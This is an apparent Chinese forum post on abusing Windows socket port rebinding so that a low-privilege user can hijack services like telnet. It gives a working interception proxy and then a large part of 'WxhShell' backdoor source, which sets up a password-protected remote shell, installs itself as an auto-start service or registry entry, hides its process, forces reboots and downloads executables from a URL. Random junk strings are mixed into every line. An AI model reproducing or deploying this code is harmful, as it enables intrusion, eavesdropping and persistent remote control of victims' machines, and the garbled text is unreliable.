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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zZCRej  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {IV% _y?  
|{YN3"qN  
  saddr.sin_family = AF_INET; - C q;  
R>"Fc/{y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ":Tm6Nj  
b^d{$eoH?|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); PmE)FthdP(  
G$i)ELs  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 950N\Y @u  
%|(c?`2|  
  这意味着什么?意味着可以进行如下的攻击:   < v]  
p 4> ThpX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 70c]|5  
lJu^Bcrv  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ( 4L/I  
Y\-xX:n.\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 UrvUt$WO  
dz9U.:C  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Z{0BH{23  
1}DA| !~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 m g'q-G`\<  
c("|xe  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 oM~y8O  
\s5Uvws  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |g3:+&  
E:pk'G0bZ  
  #include :9UgERjra  
  #include #%p44%W  
  #include c,2& -T}  
  #include    Lkm-<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tf~B,?  
  int main() 1z-.e$&z  
  { o?Hfxp0}  
  WORD wVersionRequested; +;q\7*  
  DWORD ret; AYA{_^#+3  
  WSADATA wsaData; ,D+ydr  
  BOOL val; !lgL=Ys(  
  SOCKADDR_IN saddr; ls 5iE  
  SOCKADDR_IN scaddr; uPz+*4+  
  int err; F(HfXY3  
  SOCKET s; >s{I@#9  
  SOCKET sc; /]TNEU,K  
  int caddsize; &ry*~"xoh  
  HANDLE mt; neI7VbH4  
  DWORD tid;   elCYH9W^  
  wVersionRequested = MAKEWORD( 2, 2 ); !'jq.RawP  
  err = WSAStartup( wVersionRequested, &wsaData ); k <oB9J  
  if ( err != 0 ) { |NfFe*q0;8  
  printf("error!WSAStartup failed!\n"); ?J\&yJ_B  
  return -1; crM5&L9zF  
  } FbE/x$;~O  
  saddr.sin_family = AF_INET; u-TT;k'  
   k5S;G"i J  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2!/Kt O)i^  
wGArR7r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LlQsc{ Ddf  
  saddr.sin_port = htons(23); tUv>1) [  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >D,Oav  
  { i?6&4  
  printf("error!socket failed!\n"); G68KoM  
  return -1; !,Uo{@E)Y  
  } m+Ye`]  
  val = TRUE; +FT c/r  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "Lbsq\W>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q3$8"Q^  
  { s:U:Dv  
  printf("error!setsockopt failed!\n"); 03 @a G  
  return -1; ANhtz1Fl  
  } K|P0nJT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Yr9'2.%Q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y *i&p4Y*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cfLF@LW!])  
aDbqh~7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) S>yiD`v  
  { r6m^~Wq!}  
  ret=GetLastError(); } e[ E  
  printf("error!bind failed!\n"); ?,vLRq.  
  return -1; JmI%7bH@  
  } 7Q .Su  
  listen(s,2); \zO.#H  
  while(1) *d 1Bp R%  
  { kt6x"'"1  
  caddsize = sizeof(scaddr); rQjk   
  //接受连接请求 ) O0Cz n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); AjVC{\Ik  
  if(sc!=INVALID_SOCKET) m!V,W*RNr  
  { k"N>pjgd$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %~LY'cfPse  
  if(mt==NULL) zKQ<Zr  
  { HGQ</5Z  
  printf("Thread Creat Failed!\n"); 66v,/#K  
  break; 7d:]o>  
  } /G||_Hc  
  } 9c>i>Vja!  
  CloseHandle(mt); zwfft  
  } 9z7_D_yN2  
  closesocket(s); >ED;_L*_o  
  WSACleanup(); 5 D|#l*V  
  return 0; DSrU7#  
  }   Q dj(D\.  
  DWORD WINAPI ClientThread(LPVOID lpParam) 7~h3B<  
  { h[ .  
  SOCKET ss = (SOCKET)lpParam; \((iR>^|  
  SOCKET sc; *[Hp&6f  
  unsigned char buf[4096]; m%HT)`>bg  
  SOCKADDR_IN saddr; p*g Fr hm  
  long num; Xoe|]@U`  
  DWORD val; S,&LH-ps   
  DWORD ret; VE |:k:};  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^h[6{F~J  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _{*} )&!M  
  saddr.sin_family = AF_INET; ZbFD|~[ V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'oa.-g5  
  saddr.sin_port = htons(23); 5nG\J g7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "Lp.*o  
  { W5R/Ub@g  
  printf("error!socket failed!\n"); ng1E'c]0@  
  return -1; k<9,Ypa  
  } iQG!-.aX  
  val = 100; tr0b#4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H,7='n7"  
  { %BI8m|6  
  ret = GetLastError(); P3oYk_oW  
  return -1; Xb _ V\b0  
  } fv;Q*; oC&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Hg#t SE  
  { i).%GMv*r  
  ret = GetLastError(); V+gZjuN$  
  return -1; {]CZgqE{  
  } LO`0^r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 46?z*~*G  
  { X5)D[aE6  
  printf("error!socket connect failed!\n"); 529; _|  
  closesocket(sc); K; #FU  
  closesocket(ss); #VQZ"7nI@  
  return -1; VfnL-bDGV  
  } >.?yz   
  while(1) V.~kG ,Ht  
  { /J`}o}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 dwA"QVp{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,ri&zbB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 RD`|Z~:q:K  
  num = recv(ss,buf,4096,0); MK#   
  if(num>0) /X}1%p  
  send(sc,buf,num,0); W~ yb>+u  
  else if(num==0) x\yM|WGL  
  break; {cdICWy(F3  
  num = recv(sc,buf,4096,0); ;}B=g/C  
  if(num>0) m$8siF{<q  
  send(ss,buf,num,0); # qd!_oN  
  else if(num==0) JsY,Q,D q  
  break; Ws2q/[\oz  
  } v^9eTeFO  
  closesocket(ss); 7 [Us.V@  
  closesocket(sc); 6i/unwe!`)  
  return 0 ; bb_elmb)n  
  } [v1$L p  
}9OMXLbRv  
Xu{y5 N  
========================================================== X9*n[ev  
OTy!Q,0$.  
下边附上一个代码,,WXhSHELL  exWQ~&  
1j2U,_-  
========================================================== S'x ]c#  
iM .yen_vp  
#include "stdafx.h" VwR\"8r3  
$WYt`U;*lj  
#include <stdio.h> ekx(i QA  
#include <string.h> MWwqon|  
#include <windows.h> X}#vt?mu  
#include <winsock2.h> G4 7^xR  
#include <winsvc.h> U]Q 5};FK  
#include <urlmon.h> tB;PGk_6  
;MfqI/B{  
#pragma comment (lib, "Ws2_32.lib") |$ PA  
#pragma comment (lib, "urlmon.lib") < F5VJ  
f1NHW|_j  
#define MAX_USER   100 // 最大客户端连接数 wBt7S!>G  
#define BUF_SOCK   200 // sock buffer rfDGS%!O%  
#define KEY_BUFF   255 // 输入 buffer |q4=*Xq  
g$Tsht(rHD  
#define REBOOT     0   // 重启 .-$3I|}X=  
#define SHUTDOWN   1   // 关机 qO@vXuul,  
[n9l[dN  
#define DEF_PORT   5000 // 监听端口 fw%p_Cm  
C:1(<1K  
#define REG_LEN     16   // 注册表键长度 a`Bp^(f}  
#define SVC_LEN     80   // NT服务名长度 @3n!5XM{EE  
nOC\ =<Nsg  
// 从dll定义API 2I:P}!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $_JfM^w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U&"L9o`2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9fp"r,aHN&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jdG'sITv  
Z|K HF"  
// wxhshell配置信息 |QS|\8g{0V  
struct WSCFG { Rk9n,"xpv  
  int ws_port;         // 监听端口 tGOJ4 =  
  char ws_passstr[REG_LEN]; // 口令 bWL!=  
  int ws_autoins;       // 安装标记, 1=yes 0=no q}i#XQU  
  char ws_regname[REG_LEN]; // 注册表键名 V@0T&#  
  char ws_svcname[REG_LEN]; // 服务名 F6vsU:TfB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .H|Z3d!Jj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -#%M,Qb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w&@tP^`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :{<|,3oNdR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q & /5B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c@>ztQU*  
KXMf2)pa  
}; i, ^-9  
lLQcyi0  
// default Wxhshell configuration o?]Q&,tO  
struct WSCFG wscfg={DEF_PORT, @<DRFP  
    "xuhuanlingzhe", :%sG'_d  
    1, 9>{ml&$  
    "Wxhshell", @+;.W>^h  
    "Wxhshell", .i\ FK@2  
            "WxhShell Service", ;)ay uS sQ  
    "Wrsky Windows CmdShell Service", H[w';u[%  
    "Please Input Your Password: ", dpz@T>MS=  
  1, FqyxvL.  
  "http://www.wrsky.com/wxhshell.exe", ,{IDf  
  "Wxhshell.exe" :X":>M;;+  
    }; Dp ['U  
Pjq'c+4.yL  
// 消息定义模块 9ad`q+kY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xkf2;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ft;x@!h%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &NF$_*\E  
char *msg_ws_ext="\n\rExit."; gwNZ`_Q  
char *msg_ws_end="\n\rQuit."; >~d'i  
char *msg_ws_boot="\n\rReboot..."; 5[2kk5,  
char *msg_ws_poff="\n\rShutdown..."; #2|biTJ  
char *msg_ws_down="\n\rSave to "; P}'B~ ~9W  
/ 8O=3  
char *msg_ws_err="\n\rErr!"; )h ,v(Rxa  
char *msg_ws_ok="\n\rOK!"; OGEe8Z9Jt  
m +A4aQ9  
char ExeFile[MAX_PATH]; )E9c6'd  
int nUser = 0; z81dm  
HANDLE handles[MAX_USER]; ~F@p}u8TV  
int OsIsNt; bD)"Jy  
)fo0YpE^|  
SERVICE_STATUS       serviceStatus; HH6n3c!:mm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vo E t\H  
yIiVhI?X  
// 函数声明 = 1veO0  
int Install(void); nK< v  
int Uninstall(void); (e_<~+E  
int DownloadFile(char *sURL, SOCKET wsh); %i7U+v(d  
int Boot(int flag); UNSXr`9  
void HideProc(void); C}9GrIi  
int GetOsVer(void); 0.m-}  
int Wxhshell(SOCKET wsl); f0@*>  
void TalkWithClient(void *cs); I>rTqOK  
int CmdShell(SOCKET sock); ,g'>Ib%  
int StartFromService(void); xi"ff .  
int StartWxhshell(LPSTR lpCmdLine); =XYc2. t  
@?s>oSyV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xA^E+f:W_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lpPPI+|4N  
 G>?kskm  
// 数据结构和表定义 V~jp  
SERVICE_TABLE_ENTRY DispatchTable[] = C-ORI}o  
{ dU_;2d$  
{wscfg.ws_svcname, NTServiceMain}, oFp1QrI3k8  
{NULL, NULL} +hKU]DP2;  
}; l4mRNYv)z  
W*iTg%a\k  
// 自我安装 f>xi (0  
int Install(void) ;HYEJ3  
{ IAbQgBvUD  
  char svExeFile[MAX_PATH]; ta5_k&3N  
  HKEY key; NHUJ:j@  
  strcpy(svExeFile,ExeFile); YXTV$A+lW  
+<$nZ=,hsy  
// 如果是win9x系统,修改注册表设为自启动 m|B)A"Sm  
if(!OsIsNt) { }>y !I5O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Rkg)yme!N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K%`]HW@I{  
  RegCloseKey(key); C ]B P}MY<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qh W]Wd" g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DXj>u9*%  
  RegCloseKey(key); yQ^,>eh  
  return 0; {o^tSEN!-  
    } H9'psv  
  } c ?<)!9:  
} tKyGD|g S  
else { 2\&3x} @  
s[eSPSFZ  
// 如果是NT以上系统,安装为系统服务 :G98uX t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Fnk@)1  
if (schSCManager!=0) QSzht$ 8  
{ 3st?6?7|  
  SC_HANDLE schService = CreateService gP|-A`y  
  ( ,gpEXU p\  
  schSCManager, )sQ/$gJ  
  wscfg.ws_svcname, RIUJX{?  
  wscfg.ws_svcdisp, NKEmY-f;  
  SERVICE_ALL_ACCESS, {d#sZT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I%:?f{\  
  SERVICE_AUTO_START, 4dN <B U  
  SERVICE_ERROR_NORMAL, T)<^S(5 7  
  svExeFile,  96;5  
  NULL, :!cK?H$+  
  NULL, A[@koLCL  
  NULL, fp(zd;BSQ  
  NULL, $;(@0UDE  
  NULL H_XspiB@  
  ); %H{;wVjK  
  if (schService!=0) PepR ]ym  
  { g/68& M  
  CloseServiceHandle(schService); gREk,4DAv  
  CloseServiceHandle(schSCManager); 'Qg!ww7O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g - !  
  strcat(svExeFile,wscfg.ws_svcname); i/C% 1<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cGm?F,/`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [;yH.wn#5  
  RegCloseKey(key); &ID! lEd  
  return 0; 78*8-  
    } =rZ'!Pa  
  } B R  
  CloseServiceHandle(schSCManager); 4 7mT  
} ZXo;E  
} ~s-gnp  
tBJ4lb  
return 1; RcJtVOrd  
} a {x3FQ  
?zC{T*a  
// 自我卸载 SmDNN^GR  
int Uninstall(void) /zXOta G  
{ nC[aEZ7  
  HKEY key; /9gn)q2f(  
8PVjNS/  
if(!OsIsNt) { !U}2YM J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f34/whD65  
  RegDeleteValue(key,wscfg.ws_regname); (f_YgQEL  
  RegCloseKey(key); | @ ut/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [aA@V0l  
  RegDeleteValue(key,wscfg.ws_regname); ?[.8A/:5  
  RegCloseKey(key); Y+),c14#  
  return 0; C+M]"{Y+  
  } zx$1.IM"4  
} du ~V=%9  
} h*40jZ  
else { 4sO Rp^t'Q  
rp"5176  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Id`V`|q  
if (schSCManager!=0) Nr]Fh  
{ Sx J0Y8#z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HnjA78%i  
  if (schService!=0) djnES,^%9  
  { !"yr;t>|Zb  
  if(DeleteService(schService)!=0) { 7T6Zlp  
  CloseServiceHandle(schService); ?B e}{Qqlg  
  CloseServiceHandle(schSCManager); G9Kck|50  
  return 0; uxDM #  
  } 'nM4t  
  CloseServiceHandle(schService); Ye$j43b  
  } sCt)Yp+8}B  
  CloseServiceHandle(schSCManager); <FU?^*~  
} <)!,$]S  
} <"K*O9 nst  
z7sDaZL?_  
return 1; z k}AGw  
} j%y{d(Q4  
g"|>^90  
// 从指定url下载文件 FP=27=  
int DownloadFile(char *sURL, SOCKET wsh) +'5I8FE-  
{ Q~0>GOq*  
  HRESULT hr; ffR%@  
char seps[]= "/"; Y-y yg4JH  
char *token; ,m]5j_< }  
char *file; Bf #cBI  
char myURL[MAX_PATH]; R3a}YwJFXF  
char myFILE[MAX_PATH]; ^Y+C!I  
*{+{h;p  
strcpy(myURL,sURL); #O;JV}y  
  token=strtok(myURL,seps); rq!*unJ  
  while(token!=NULL) (&Lt&i _  
  { 1,;zX^  
    file=token; _iq62[i3^  
  token=strtok(NULL,seps); |BZrV3;H  
  } =+wd"Bu  
!dGu0wE  
GetCurrentDirectory(MAX_PATH,myFILE); (?t}S.>g  
strcat(myFILE, "\\"); +e2:?d@  
strcat(myFILE, file); 4P1}XYD-2  
  send(wsh,myFILE,strlen(myFILE),0); KgkRs?'z  
send(wsh,"...",3,0); N2'aC} I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %>=6v} f,+  
  if(hr==S_OK) P[G>uA>Z1  
return 0; #>bj6<  
else :EQ{7Op`  
return 1; 7_ayn#;y  
p)iEwl}!j  
} MomHSvQ\  
7pY :.iVO  
// 系统电源模块 D@68_sn  
int Boot(int flag) #I453  
{ w5%i  
  HANDLE hToken; =HsE:@  
  TOKEN_PRIVILEGES tkp; TE+>|}]R  
rqmb<# Z  
  if(OsIsNt) { egG<"e*W}N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :yD>Tn;1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HLwMo&*rA  
    tkp.PrivilegeCount = 1; xIa7F$R 0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uz{RV_IX7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hF0,{v  
if(flag==REBOOT) { YVDFcN9v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >god++,o  
  return 0; _7;:*'>a4  
} 8vR_WHsL  
else { v '+]T=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %2 zmc%]r  
  return 0; =gQ9>An  
} &LAXNk2  
  } |SjRss:i+  
  else { m!%aB{e  
if(flag==REBOOT) { `2@.%s1o=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i}DS+~8v  
  return 0; [DM0'4  
} h5@G eYda  
else { ^r&)@R$V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7:<w)Al!  
  return 0; *$vH]>)p  
} *|dr-e_j  
} }Rw,4  
kzRJzJquP  
return 1; I8 :e `L  
} s4"Os gP+  
-<6?ISF2  
// win9x进程隐藏模块 v wEbGx  
void HideProc(void) {jz`K1  
{ bu]"?bc  
Y!CUUWM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DHWz,M  
  if ( hKernel != NULL ) /!?LBtqy  
  { ZKrLp8l\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ck Nl;g l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }<0N)dpT  
    FreeLibrary(hKernel); Xv-p7$?f  
  } m|qktLx  
1Hr}n6s  
return; 22CET9iCe  
} kJ_8|  
[Vo5$w  
// 获取操作系统版本 V9<`?[Usv  
int GetOsVer(void) R2Fjv@Egk  
{ @m#OhERv  
  OSVERSIONINFO winfo; =+!l8o&o,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3OZPy|".ax  
  GetVersionEx(&winfo); K] (*l"'U5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1g{Pe`G,  
  return 1; C}RO'_Pq  
  else 3x0t[{l  
  return 0; IFp%T a  
} aaR& -M@  
;XurH%Mg  
// 客户端句柄模块 4a-JC"  
int Wxhshell(SOCKET wsl) =n5'~1?X?  
{ 4KM-$h,4O  
  SOCKET wsh; PW5]+ |#  
  struct sockaddr_in client; Cd}^&z  
  DWORD myID; \_ 3>v5k|  
IW0S*mO$  
  while(nUser<MAX_USER) i7Up AHd/  
{ }uZs)UQ|$  
  int nSize=sizeof(client); y QW7ng7D0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  yfZNL?2x  
  if(wsh==INVALID_SOCKET) return 1; "o&8\KSs  
cs+3&T: ,*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eThaH0  
if(handles[nUser]==0) $eYL|?P50h  
  closesocket(wsh); KC6Cg?y^  
else lvO6&sF1  
  nUser++; e7RgA1  
  } K*>%,mP$i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VVas>/0qr  
5qb93E"C  
  return 0; {]T?)!V m  
} @Vre)OrN#  
0<uek  
// 关闭 socket Ek_5% n  
void CloseIt(SOCKET wsh) y7,I10:D  
{ 4dX{an]Cz  
closesocket(wsh); X7},|cmD_  
nUser--; mM,HMrgLqK  
ExitThread(0); q>$MqKWM  
} 51jgx,-|$  
KewW8H~tb  
// 客户端请求句柄 X4 Arn,  
void TalkWithClient(void *cs) vYed_'_  
{ uuC ["Z  
Jka>Er  
  SOCKET wsh=(SOCKET)cs; {zwH3)|Hn  
  char pwd[SVC_LEN]; ngo> ^9/8  
  char cmd[KEY_BUFF]; n)e2?  
char chr[1]; LhJUoX  
int i,j; srGOIK.  
(pxH<k=Ah  
  while (nUser < MAX_USER) { .kT]^rv ;  
yLnQ9BXB&  
if(wscfg.ws_passstr) { t6DSZ^Zq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +>Wo:kp3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K-0=#6?y4  
  //ZeroMemory(pwd,KEY_BUFF); VdlT+'HF  
      i=0; eZ$7VWG#  
  while(i<SVC_LEN) { &93{>caf+  
o,6t: ?Z  
  // 设置超时 0k]ApW  
  fd_set FdRead; ?jmP] MM  
  struct timeval TimeOut; DrK]U}3fh"  
  FD_ZERO(&FdRead); 1q6)R/P  
  FD_SET(wsh,&FdRead); vK',!1]y  
  TimeOut.tv_sec=8; H;/do-W[  
  TimeOut.tv_usec=0; Mog >W&U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [,o:nry'a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x4MmBVqp  
5h5izA'0'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v e&d"8+]  
  pwd=chr[0]; 7>N~l  
  if(chr[0]==0xd || chr[0]==0xa) { |P >"a`  
  pwd=0; 'f5 8Jwql  
  break;  {^N,=m\  
  } u8Ys2KLpL  
  i++; |N)Ik8  
    } *~#I5s\s!  
my (@~'  
  // 如果是非法用户,关闭 socket QAs)zl0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fAs b:P  
} U,Z\)+-R  
(RddR{mX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lvW T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ? doI6N0T  
6"&cQ>$xh  
while(1) { d?zSwLsl  
g) Lf^  
  ZeroMemory(cmd,KEY_BUFF); BEDkyz;:  
yf&g\ke  
      // 自动支持客户端 telnet标准   O^L]2BVC  
  j=0; ;wn9 21r  
  while(j<KEY_BUFF) { pY31qhoZ.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d GUP|O  
  cmd[j]=chr[0]; 0AQ azhm  
  if(chr[0]==0xa || chr[0]==0xd) { #])"1fk  
  cmd[j]=0; z`{sD]  
  break; `3;EJDEdbi  
  } l6  G6H$  
  j++; D2$ 9$xeR  
    } UB$}`39@  
j-<-!jTd  
  // 下载文件 O_FB^BB  
  if(strstr(cmd,"http://")) { Nk'<*;e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4MgN  
  if(DownloadFile(cmd,wsh)) 5vx 4F f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +_5*4>MC  
  else LV:L0D7y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R(1:I@<?E  
  } hA7=:LG  
  else { ;ku>_sG-  
5YY5t^T  
    switch(cmd[0]) { :""HyjY!  
  'RjEdLrI  
  // 帮助 Lq(=0U\"P  
  case '?': { _.5{vGyxr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'OY4Q 'Z  
    break; &Hoc`u  
  } >h7(kj:  
  // 安装 67j kU!  
  case 'i': { j~q 7v `":  
    if(Install()) y=Y k$:-y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zxebv# 4  
    else .n8R%|C5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DQG%`-J  
    break; GcV/_Y  
    } btW#ebm  
  // 卸载 PmuG(qg  
  case 'r': { =o#Z?Bn5  
    if(Uninstall()) `B %%2p&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7:4c\C0  
    else XZE(& (s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G5}_NS/  
    break; b}! cEJY  
    } "wcaJ;Os  
  // 显示 wxhshell 所在路径 UmR)L!QT8  
  case 'p': { 8eXe b|?J  
    char svExeFile[MAX_PATH]; XGa8tI[:X  
    strcpy(svExeFile,"\n\r"); l.}PxZ  
      strcat(svExeFile,ExeFile); ,6^<Vg  
        send(wsh,svExeFile,strlen(svExeFile),0); `OW'AS |  
    break; &^`Wtd~g  
    } &[G)Y D  
  // 重启 cv'8_3  
  case 'b': { SU0SsgFB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g[} L ?  
    if(Boot(REBOOT)) Fb,*;M1'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #}7T$Va  
    else { HPtMp#`T  
    closesocket(wsh); W@R7CQE@  
    ExitThread(0); AiHU*dp6  
    } %]P{)*y-?  
    break; 5226 &N  
    } |8 ` }8vo)  
  // 关机 ex>7f%\  
  case 'd': { ![z2]L+TB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R27'00(Z0  
